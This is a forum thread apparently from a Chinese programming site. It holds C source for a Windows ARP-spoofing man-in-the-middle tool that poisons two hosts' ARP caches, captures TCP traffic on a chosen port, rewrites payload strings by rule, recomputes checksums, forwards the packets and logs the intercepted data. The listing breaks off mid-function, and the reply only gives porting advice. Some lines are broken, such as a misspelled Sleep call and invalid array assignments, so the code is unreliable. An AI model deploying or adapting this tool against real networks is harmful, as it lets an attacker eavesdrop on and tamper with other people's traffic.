- 论坛徽章:
- 0
|
40可用积分
#include <stdio.h>
#include <pcap.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "wpcap.lib")
#include "iphlpapi.h"
#include "protoinfo.h"
#include "spoof.h"
#include "tcp.h"
#include "replace.h"
// 存储要替换的字符串的链表结构
typedef struct tagSTRLINK
{
char szOld[256];
char szNew[256];
struct tagSTRLINK *next;
}STRLINK, *PSTRLINK;
HANDLE hThread[2]; // 两个发送RARP包的线程
unsigned short g_uPort; // 要监视的端口号
pcap_t *adhandle; // 网卡句柄
HANDLE g_hEvent; // 捕捉 Ctrl+C
int g_uMode; // 欺骗标志 0 表示单向欺骗, 1表示双向欺骗
BOOL bIsReplace = FALSE; // 是否对转发的数据进行替换
BOOL bIsLog = FALSE; // 是否进行数据保存
char szLogfile[MAX_PATH]; // 要保存数据的文件名
// 对应ARPSPOOF结构中的成员
unsigned char ucSelf[6], ucIPA[6], ucIPB[6];
char szIPSelf[16], szIPA[16], szIPB[16], szIPGate[16];
// 初始化链表
PSTRLINK strLink = (PSTRLINK) malloc(sizeof(STRLINK));
char TcpFlag[6]={ 'F','S','R','P','A','U' }; //定义TCP标志位,分析数据包时用
BOOL InitSpoof(char **);
void ResetSpoof();
void Help();
// 把文件中的规则读取对链表中
// 入口参数 szJobfile
// 出口参数 strLink
BOOL ReadJob(char *szJobfile, PSTRLINK strLink)
{
FILE *fp;
char szBuff[256], *p = NULL;
if ((fp = fopen(szJobfile, "rt")) == NULL)
{
printf("Job file open error\n");
return FALSE;
}
PSTRLINK pTmp = strLink; // 保存原指针
while (fgets(szBuff, sizeof(szBuff), fp))
{
if (strcmp(szBuff, "----"))
{
fgets(szBuff, sizeof(szBuff), fp);
strcpy(strLink->szOld, szBuff);
strLink->szOld[strlen(szBuff)-1] = '\0'; // 替换 '\n' 为 '\0'
fgets(szBuff, sizeof(szBuff), fp);
if (strcmp(szBuff, "----"))
{
fgets(szBuff, sizeof(szBuff), fp);
strcpy(strLink->szNew, szBuff);
strLink->szNew[strlen(szBuff)-1] = '\0';
}
else
{
printf("Replace Job file format error, used arpspoof /n release a new job file\n");
return FALSE;
}
strLink->next = (PSTRLINK) malloc(sizeof(STRLINK));
strLink = strLink->next;
strLink->next = NULL;
}
}
fclose(fp);
strLink = pTmp; // 恢复原指针
return TRUE;
}
// 把数据写入文件
BOOL SaveLog(char szLogfile[], const void *data, unsigned int size)
{
HANDLE hFile;
DWORD dwBytes;
hFile = CreateFile(szLogfile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return FALSE;
SetFilePointer(hFile, NULL, NULL, FILE_END);
WriteFile(hFile, data, size, &dwBytes, NULL);
CloseHandle(hFile);
return TRUE;
}
// 捕获控制台 Ctrl+C 事件的函数
BOOL CtrlHandler( DWORD fdwCtrlType )
{
switch (fdwCtrlType)
{
// Handle the CTRL-C signal.
case CTRL_C_EVENT:
case CTRL_CLOSE_EVENT:
case CTRL_BREAK_EVENT:
case CTRL_LOGOFF_EVENT:
case CTRL_SHUTDOWN_EVENT:
ResetSpoof();
return TRUE;
default:
return FALSE;
}
}
// 为公用变量赋值,初始化参数
BOOL InitSpoof(char **argv)
{
// IPSelf, ucSelf 已经在找开网卡时初始化过了
memset(ucIPA, 0xff, 6);
memset(ucIPB, 0xff, 6);
memset(szIPA, 0 ,16);
memset(szIPB, 0 ,16);
if (GetMac((char *) argv[1], ucIPA) && GetMac((char *) argv[2], ucIPB))
{
strcpy((char *) szIPA, (char *) argv[1]);
strcpy((char *) szIPB, (char *) argv[2]);
StaticARP((unsigned char *) szIPA, ucIPA);
StaticARP((unsigned char *) szIPB, ucIPB);
g_uPort = atoi(argv[3]);
g_uMode = atoi(argv[5]);
return TRUE;
}
return FALSE;
}
// 显示ARP欺骗信息 (调试用)
// 加延迟是为了等待参数传递,回一个函数公用一个ARPSPOOF变量
void SpoofInfo(PARPSPOOF arpspoof)
{
leep(100);
}
// 处理ARP欺骗例程,开始Spoof
void ARPSpoof()
{
PARPSPOOF arpspoof = (PARPSPOOF) malloc(sizeof(ARPSPOOF));
arpspoof->adhandle = adhandle;
memcpy(arpspoof->ucSelfMAC, ucSelf, 6);
// Spoof IP1 -> IP2
strcpy((char *) arpspoof->szTarget, szIPA);
memcpy(arpspoof->ucTargetMAC, ucIPA, 6);
strcpy((char *) arpspoof->szIP, szIPB);
memcpy(arpspoof->ucIPMAC, ucIPB, 6);
memcpy(arpspoof->ucPretendMAC, ucSelf, 6);
hThread[0] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
(LPVOID) arpspoof, NULL, NULL);
SpoofInfo(arpspoof);
if (g_uMode == 1) // 如果双向欺骗
{
// Spoof IP2 -> IP1
strcpy((char *) arpspoof->szTarget, szIPB);
memcpy(arpspoof->ucTargetMAC, ucIPB, 6);
strcpy((char *) arpspoof->szIP, szIPA);
memcpy(arpspoof->ucIPMAC, ucIPA, 6);
memcpy(arpspoof->ucPretendMAC, ucSelf, 6);
hThread[1] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
(LPVOID) arpspoof, NULL, NULL);
SpoofInfo(arpspoof);
}
}
// 重置ARP欺骗,恢复受骗主机的ARP cache
// 和ARPSpoof做相反操作
void ResetSpoof()
{
printf("[+] Reseting .....\n");
TerminateThread(hThread[0], 0);
TerminateThread(hThread[1], 0);
PARPSPOOF arpspoof = (PARPSPOOF) malloc(sizeof(ARPSPOOF));
arpspoof->adhandle = adhandle;
strcpy((char *) arpspoof->szTarget, szIPA);
memcpy(arpspoof->ucTargetMAC, ucIPA, 6);
strcpy((char *) arpspoof->szIP, szIPB);
memcpy(arpspoof->ucIPMAC, ucIPB, 6);
memcpy(arpspoof->ucPretendMAC, ucIPB, 6);
memcpy(arpspoof->ucSelfMAC, ucSelf, 6);
hThread[0] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
(LPVOID) arpspoof, NULL, NULL);
if(g_uMode == 1)
{
Sleep(200);
strcpy((char *) arpspoof->szTarget, szIPB);
memcpy(arpspoof->ucTargetMAC, ucIPB, 6);
strcpy((char *) arpspoof->szIP, szIPA);
memcpy(arpspoof->ucIPMAC, ucIPA, 6);
memcpy(arpspoof->ucPretendMAC, ucIPA, 6);
hThread[1] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
(LPVOID) arpspoof, NULL, NULL);
}
printf("[-] Sleep 5s ");
for(int i = 0; i < 12; i++, Sleep(300))
printf(".");
printf("\n");
TerminateThread(hThread[0], 0);
TerminateThread(hThread[1], 0);
// pcap_breakloop后,所有对网卡的操作都会使用程序中止,切记
pcap_breakloop(adhandle);
}
// 替换数据包中内容
void ReplacePacket(const u_char *pkt_data, unsigned int pkt_len)
{
ETHeader *eh;
IPHeader *ih;
TCPHeader *th;
u_int ip_len;
eh = (ETHeader *) pkt_data;
if(eh->type != htons(ETHERTYPE_IP))
return; // 只转发IP包
// 找到IP头的位置
ih = (IPHeader *) (pkt_data + 14); //14为以太头的长度
// 找到TCP的位置
ip_len = (ih->iphVerLen & 0xf) * 4;
th = (TCPHeader *) ((u_char*)ih + ip_len);
// 得到TCP数据包的指针和长度
unsigned char *datatcp = (unsigned char *) ih + sizeof(_IPHeader)
+ sizeof(struct _TCPHeader);
int lentcp = ntohs(ih->ipLength) - (sizeof(_IPHeader) + sizeof(_TCPHeader));
// 开始替换数据内容,重新计算校验和
PSTRLINK pTmp = strLink;
int i = 0;
while (pTmp->next)
{
// 开始匹配规则进行替换
if (Replace(datatcp, lentcp, pTmp->szOld, pTmp->szNew))
{
printf(" Applying rul %s ==> %s\n", pTmp->szOld, pTmp->szNew);
i ++;
}
pTmp = pTmp->next;
}
if (i >0) // 重新计算校验和
{
printf("
Done %d replacements, forwarding packet of size %d\n",
i, pkt_len);
ih->ipChecksum = 0;
th->checksum = 0;
ih->ipChecksum = checksum((USHORT *)ih,sizeof(_IPHeader));
ComputeTcpPseudoHeaderChecksum(ih, th, (char *)datatcp, lentcp);
}
else
printf("Forwarding untouched packet of size %d\n", pkt_len);
}
// 分析显示数据包内容,或者保存至文件
void AnalyzePacket(const u_char *pkt_data, unsigned int pkt_len)
{
ETHeader *eh;
IPHeader *ih;
TCPHeader *th;
u_int ip_len;
char szSource[16],szDest[16];
u_short sport, dport;
eh = (ETHeader *) pkt_data;
if(eh->type != htons(ETHERTYPE_IP))
return; // 只转发IP包
// 找到IP头的位置
ih = (IPHeader *) (pkt_data + 14); //14为以太头的长度
// 找到TCP的位置
ip_len = (ih->iphVerLen & 0xf) * 4;
th = (TCPHeader *) ((u_char*)ih + ip_len);
// 将端口信息从网络型转变为主机顺序
sport = ntohs(th->sourcePort);
dport = ntohs(th->destinationPort );
unsigned char *datatcp = (unsigned char *) ih + sizeof(_IPHeader)
+ sizeof(struct _TCPHeader);
int lentcp = ntohs(ih->ipLength) - (sizeof(_IPHeader) + sizeof(_TCPHeader));
wsprintf(szSource, "%d.%d.%d.%d",
ih->ipSourceByte.byte1, ih->ipSourceByte.byte2,
ih->ipSourceByte.byte3, ih->ipSourceByte.byte4
);
wsprintf(szDest, "%d.%d.%d.%d",
ih->ipDestinationByte.byte1, ih->ipDestinationByte.byte2,
ih->ipDestinationByte.byte3, ih->ipDestinationByte.byte4
);
// 分析数据包
char szTmpStr[85], szTmpFlag[7];
szTmpFlag[6] = '\0';
unsigned char FlagMask = 1;
for(int i=0; i<6; i++ )
{
if ((th->flags) & FlagMask)
szTmpFlag = TcpFlag;
else
szTmpFlag = '-';
FlagMask = FlagMask << 1;
}
wsprintf(szTmpStr,
"\nTCP %15s->%-15s Bytes=%-4d TTL=%-3d Port:%d->%d %s\n",
szSource, szDest, lentcp, ih->ipTTL, sport, dport, szTmpFlag);
printf("%s", szTmpStr);
if (bIsLog) // 写入文件
{
SaveLog(szLogfile, szTmpStr, strlen(szTmpStr));
SaveLog(szLogfile, datatcp, lentcp);
}
// 显示数据包的内容
for (i = 0; i < lentcp; i++)
{
if ((*(datatcp+i) & 0x000000ff) != 0x07) // 过滤掉可恶的Beep字符
printf("%c", *(datatcp+i));
}
}
// 处理转发、修改、保存数据包的例程
// 程序的核心部分
void ForwardPacket(pcap_t *adhandle, const u_char *pkt_data, unsigned int pkt_len)
{
ETHeader *eh;
IPHeader *ih;
TCPHeader *th;
u_int ip_len;
char szSource[16],szDest[16];
u_short sport, dport;
eh = (ETHeader *) pkt_data;
if(eh->type != htons(ETHERTYPE_IP))
return; // 只转发IP包
// 找到IP头的位置
ih = (IPHeader *) (pkt_data + 14); //14为以太头的长度
// 找到TCP的位置
ip_len = (ih->iphVerLen & 0xf) * 4;
th = (TCPHeader *) ((u_char*)ih + ip_len);
[ 本帖最后由 huaping3263 于 2007-2-5 09:56 编辑 ] |
最佳答案
查看完整内容
http://blog.csdn.net/minipig114/archive/2005/08/26/465925.aspx看看这个,可能对你有所帮助。你应该先看看,哪些调用是win32系统相关的,例如:winsock2.h如果你使用标准的c++或者gcc来做则问题小得多。另外,如果以后继续做可移植的,请看看:(搜索该文中的移植即可找到)http://seaflower.blogbus.com/logs/2006/03/[ 本帖最后由 HonestQiao 于 2007-2-3 10:54 编辑 ]
|